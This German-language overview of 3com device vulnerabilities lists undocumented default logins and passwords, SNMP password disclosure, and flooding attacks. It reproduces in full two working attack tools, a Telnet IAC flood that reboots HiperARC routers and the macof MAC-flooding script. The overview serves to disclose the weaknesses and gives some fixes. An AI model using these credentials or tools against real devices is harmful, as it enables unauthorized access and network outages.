Die amerikanische Informatik-Firma 3com stellt in einer umfassenden Produktpallette Netzwerk-Komponenten her. Dabei konnten sie sich neben ihren ausgeklügelten Netzwerkkarten einen Namen als Switch- und Hub-Hersteller machen. Ihre Produkte glänzen durchwegs mit einer hohen Kompatibelität, Flexibilität und Benutzerfreundlichkeit. Wie man es sich jedoch schon von Geräten aus dem Hause Cisco gewohnt ist, sind Fehler, die die Sicherheit eines Systems oder Netzwerks negativ beeinträchtigen können, vorhanden.

Dieses Dokument versucht an meine vorangegangenen Arbeiten anzuknüpfen und dem interessierten Leser auf wissenschaftlicher Ebene einen möglichst genauen Überblick der potentiellen Sicherheitsprobleme von 3com-Geräten zu verschaffen. Keinesfalls möchte ich mit dieser Niederschrift eine Antipathie gegen oder einen Werbestreifzug für 3com realisieren.

Default-Logins

Eric Monti fand als erster eine Sicherheitslücke bei den beiden 3com-Switches CoreBuilder 6000/2500 und SuperStack II 2200 in Form von undokumentierten Default-Logins. Neben den bekannten Standart-Accounts "admin", "read" und "write" existiert ein weiterer Default-User mit dem Namen "debug". Dieser benötigt standartmässig das Passwort "synnet" für einen erfolgreichen Login. Diese potentielle Sicherheitslücke kann zweifelsohne auf Geräten verzeichnet werden, die sich der Firmware 7.0.1 und 8.1.1 bedienen. Der Debug-Account besitzt neben den kompletten Administrator-Rechten noch zusätzliche Debug-Kommandos, die von keinem anderen Account angesteuert werden können. Wurde die Remote-Administration über Telnet zugelassen, so können vom Debug-Account aus die Passwörter aller anderen Benutzer modifiziert werden, ohne das Wissen um die alten Passwörter zu besitzen. Also kann ein Angreifer den rechtmässigen Administrator komplett aus dem eigenen 3com-Gerät verbannen.

Ausserdem kann die proprietäre OS-Shell des Geräts für weitere Spielereien des Angreifers missbraucht werden. Mike Richichi verifizierte eine problemlose Durchführung einer solchen Attacke auf Lanplex/Corebuilder 2500s Versionen 7.x und 8.x und dem CoreBuilder 3500 in der Version 1.0.0. Jean-Francois Malouin konnte das Gleiche für LANplex 2500 rev. 7.15 mit der Version 7.0.1-19 - Built 01/17/97 02:41:17 PM bestätigen.

Durval Menezes dokumentiert eine ähnliche Geschichte, die auf einem weiteren Default-Login des undokumentierten Benutzers "tech" mit dem Passwort "tech" aufbaut. Das Ganze funktioniert auf dem LinkSwitch 2700 und dem CoreBuilder 7000.

CoreBuilder 3500, SuperStack II Switch 3900 und 9300 haben ähnliche Mechanismen, die jedoch dem Spezial-Login das Passwort des Administrator-Accounts zuweisen, sobald jenes vergeben wurde.

Auf dem SuperStack II Switch 1000 und 3000 existieren standartmässig bei der Auslieferung die Default-Benutzer "monitor", "manager" und "security", wobei das Passwort der Login-ID entspricht. Es ist dem Kunden überlassen, die Default-Passwörter für die besagten IDs zu ändern.

Es ist unbedingt zu empfehlen, bestmöglich die Passwörter der Default-Logins zu modifizieren. Zusätzlich sollte auf Remote-Konfiguration verzichtet werden, wo dies grundsätzlich nicht zwingend notwendig sein sollte.

SNMP (Simple Network Managing Protocol)

Auf dem Corebuilder 3500 können unter Umständen die SNMP-Passwörter in Erfahrung gebracht werden. Werden die SNMP-Schlüssel als "public" definiert, so sind sie mit den beiden folgenden SNMP-Kommandos remote einsehbar:
enterprises.synernetics.lanplex.lanplexSystemsMib.1.19.0 = "password"
enterprises.synernetics.lanplex.lanplexSystemsMib.6.7.0 = "public"
Dies Funktioniert mit den beiden Software-Releases 1.0 und 1.1 auf dem Corebuilder 3500. Es wird jedoch vermutet, dass dieses Problem auch auf anderen Corebuilder- und Lanplex-Kisten gesichtet werden kann. Auf dem Corebuilder Release 1.0 kann ein Reboot erzwungen werden, wenn ein grosser UDP-Traffic auf den Administrator-Port geschickt wird. Wird netcat eingesetzt, so kann zum Beispiel schon nur nach rund 10 Sekunden ein Neustart erzwungen werden. Release 1.1 scheint robuster gegen diesen Angriff zu sein.

Neijus Krukauskas publizierte am 5. September 1999, dass 3com nicht besonders saubere Arbeit bei der Implementierung von SNMP in den Superstack II-Hubs (2.10 und 2.11) geleistet hat. Es findet sich nämlich die OID ".1.3.6.1.4.1.43.10.4.2.", welche aufgeschlüsselt als ".iso.org.dod.internet.private.enterprises.a3Com.generic.security.securityUserTable." zu interpretieren ist. Grundsätzlich sollte nur read-only-Zugriff möglich sein, doch wird dadurch kompletter Lese-/Schreib-Zugriff gewährleistet. Neue Software-Versionen sind direkt bei 3com online unter http://support.3com.com/software/superstack_ii_ps_hub_40_fil es.htm zu beziehen.

RBCS (Remote Boot and Configuration Service)

Netbuilder vermag auf den ersten Blick den Eindruck zu vermitteln, dass er sicher sei, doch existieren andere Türen in einen solchen. Alle Netbuilder unterstützen ein Remote-Kommando, welches anhand RBCS (Remote Boot and Configuration Services) und der Transcendet Management Suite betätigt werden kann. Ist man im Zustand von Root auf einem Netbuilder, und kennt man die Netzwerkadresse eines anderen Netbuilders, so kann man den fremden mit vollen Rechten bedienen.

Telnet

Das C-Programm "hiperbomb2.c" von Jonathan Chapman veranlasst den HiperARC anhand eines Floodings mit rund 60'000 Paketen auf den Telnet-Port zu einem Reboot. Der am 18. August 1998 veröffentlichte Exploit funktioniert ohne Probleme über alle Verbindungen, auch Dial-up:

/* ---------------------------------------------------------------------
 * hiperbomb2.c - Reboots HiperARC faster.
 * ---------------------------------------------------------------------
 * (c) 1999 - Jonathan Chapman <jchapman@1st.net>
 * ---------------------------------------------------------------------
 * Sends a high volume of IACs which eventually leads to a reboot of the
 * HiperARC.  Brief testing indicated that this problem is most likely
 * specific to sending IACs rather than any other type of data.  Further
 * research has shown that specific IAC patterns are more likely to cause
 * a reboot.  In this example I use one of the most efficient combinations
 * I have discovered.  Through my testing it usually required at least
 * 60,000 packets to cause the HiperARC to reboot.
 * ---------------------------------------------------------------------
 */
 

#include <stdio.h>
#include <stdarg.h>
#include <fcntl.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>

char *chassis;
int sockfd, num_of_tries;

void connect_to_chassis(char *name)
{
        struct hostent *host;
        struct sockaddr_in remote;

        host = gethostbyname(name);

        if(!host) {
        fprintf(stderr, "Cannot resolve host %s.\n", name);
        exit(3);
        }

        sockfd = socket(AF_INET, SOCK_STREAM, 0);

        if(sockfd < 0) {
        fprintf(stderr, "Cannot obtain descriptor.\n");
        exit(4);
        }

        remote.sin_family = AF_INET;
        remote.sin_addr = *(struct in_addr *)*host->h_addr_list;
        remote.sin_port = htons(23);

        connect(sockfd, (struct sockaddr *)&remote, sizeof(remote));

        return;
}

void send_iacs()
{
        unsigned char reply[3] = {254, 36, 185};
        unsigned int k;

        for(k = 0; k < num_of_tries; k++) {
        write(sockfd, reply, 3);
        }
}

int main(int ac, char **av)
{

        if(ac < 3) {
        fprintf(stderr, "Syntax: %s <chassis name> <num of packets>\n", av[0]);
        fprintf(stderr, "Approximately 60,000 packets usually takes care of the job.\n");
        exit(2);
        }

        chassis = av[1];
        num_of_tries = atoi(av[2]);

        fprintf(stderr, "Beginning attack on chassis %s [%d packets]\n",
                chassis, num_of_tries);
        connect_to_chassis(chassis);
        send_iacs();
        fprintf(stderr, "Attack complete.\n");

        exit(0);
}

Ein Test konnte erfolgreich auf einem 3com Corporation HiPer Access Router Card Built Feb 16 1999 12:42:34 mit der System-Version 4.1.59 vollzogen werden. Erfolgreich verläuft die Hiperbomb2-Attacke gegen alle Software-Vesionen von 4.0 bis 4.2.29. Es gibt neben dem Patch die möglichkeit einen Telnet-Filter auf der Box einzurichten:

1. Fügen Sie einen Telnet-Client durch die Eingabe von "ADD TELNET CLIENT X.X.X.X" hinzu. Ein solcher Telnet-Host kann ein einzelner Rechner oder komplettes Netzwerk sein.
2. Die Eingabe "LIST TELNET CLIENTS" wird alle konfigurierten Telnet-Clients aufzeigen.
3. Danach kann mit der Eingabe von "ENABLE TELNET CLIENT_ACCESS" das Feature aktiviert werden.

Im Infosec Security Vulnerability Rebort vom 9. Mai 1999 wird eine Sniffing- und DoS-Attacke mittels Superstack Switch 3000 publiziert. Aufgrund der Limitierung von ARP-/MAC-Tabellen können Switches Packete an Ports senden, andere Netzwerk-Elemente abstürzen oder neu starten, sobald sie zu viele MAC-Adressen erhalten. Der Angriff wurde erfolgreich auf dem 3com Superstack Switch 3000 (3c16981 Hardware v.1 Software v.2.10) vollzogen.

Auf der DefCon VI, eine internationale Hacker-Confention, wurde eine rege Diskussion über die Sicherheit von Switches geführt. Einige Leute behaupten, dass der Switch durch seine Maskierung wichtige Informationen über das zu schützende Netz verbergen kann. Andere wiederum meinen, dass durch einen speziellen Multicast auf einen solchen manipulativ in den internen Datenverkehr eingegriffen werden kann. Infosec lieferte nun den Beweis, dass ein Switch dadurch verwirrt werden kann, wenn die MAC-Adresse gespooft wird. Dabei versucht sich das Gerät an der Zuweisung von gefälschter MAC-Adresse auf den logischen Port. Dieses Feature wird "Learning Mode" genannt und sollte eine deutliche Entlastung des Netzes mit sich bringen. Dadurch könnten jedoch auch manipulativ Pakete im internen Netz umgeleitet werden. Da der Switch nur ein begrenztes Pensum an Speicher für die MAC-Adresszuteilung an jedem Port aufweisen kann, wird ein gemeine DoS-Attacke möglich, sobald die Box mit MAC-Adressen überflutet wird. Verschiedene Geräte verhielten sich jedoch unter diesen Extrembedingungen auch sehr different: Einige blockten den Datenverkehr gänzlich, stürzten ab oder sendeten Pakete an die falsche Destination oder alle Teilnehmer. Das Problem ist eindeutig in der Ressource des Netzwerk-Elements zu suchen. Ein solcher Angriff mit MAC-adress-flooding kann mit dem Perl-Programm "macof v. 1.1" von Ian Vitek automatisiert werden:

#!/usr/bin/perl -w
#
# macof v. 1.1
# By Ian Vitek ( ian.vitek@infosec.se )
# Tests network devices by flooding local network with MAC-addresses.
#
# Needs Net::RawIP (http://quake.skif.net/RawIP)
# Requires libpcap (ftp://ftp.ee.lbl.gov/libpcap.tar.Z)
#
# Example: ./macof -e <mac_of_def_gate> -n 1000000
#          ./macof -r -n 1000000
#          (run it several times)
#
# Warning: This program could cause serious problems on your network.
#          This program could hang, crash or reboot network devices.
#          Switches could start sending packages to all ports making it
#          possible to intercept network traffic.
#
#
require 'getopts.pl';
use Net::RawIP;
Getopts('hvrs:e:d:x:y:i:n:');

sub GenMAC
{
  my $tmp_mac="00";
  my $i=0;
# generate random mac-address
  while($i++ < 5) {
   $tmp_mac.=":" . sprintf("%x",int rand 16);
   $tmp_mac.=sprintf("%x",int rand 16);
  }
  return($tmp_mac);
}

$a = new Net::RawIP;

die "usage: $0 [options]\
\t-d dest_host\t\t(def:random)\
\t-s source_host\t\t(def:random)\
\t-v \t\t\tprints generated mac-addresses\
\t-r | -e dest_mac \trandomize or set destination mac address\
\t\t\t\tshould be in format ff:ff:ff:ff:ff:ff or host\
\t-x source_port\t\t(def:random)\
\t-y dest_port \t\t(def:random)\
\t-i interface \t\tset sending interface \t\t(def:eth0)\
\t-n times\t\tset number of times to send \t(def:1)\
\t-h this help\n" unless ( !$opt_h && !($opt_r && $opt_e) );

# set default values
$opt_i=eth0 unless $opt_i;
$opt_n=1 unless $opt_n;
$s_host=$opt_s if $opt_s;
$d_host=$opt_d if $opt_d;
$s_port=$opt_x if $opt_x;
$d_port=$opt_y if $opt_y;

# choose network card
if($opt_e) {
  $a->ethnew($opt_i, dest => $opt_e);
} else {
  $a->ethnew($opt_i);
}

# Loop
for($times=0; $times < $opt_n; $times++) {
# Check if one or two mac-addresses should be generated
 $mac=&GenMAC;
 if($opt_r) {
    $d_mac=&GenMAC;
    print "$d_mac \t$mac\n" if($opt_v);
#   set mac-addresses
    $a->ethset(source => $mac, dest => $d_mac);
  } else {
    print "$mac\n" if($opt_v);
#   set mac-address
    $a->ethset(source => $mac);
  }
# generate random source and destination ip-addresses
  $s_host=17000000+int rand 4261000000 unless $opt_s;
  $d_host=17000000+int rand 4261000000 unless $opt_d;
# generate random source and dest ports
  $s_port=int rand 65535 unless $opt_x;
  $d_port=int rand 65535 unless $opt_y;
# set network package
  $a->set({ip => {saddr => $s_host, daddr => $d_host},
           tcp => {source => $s_port, dest => $d_port}
         });
# send
  $a->ethsend;
}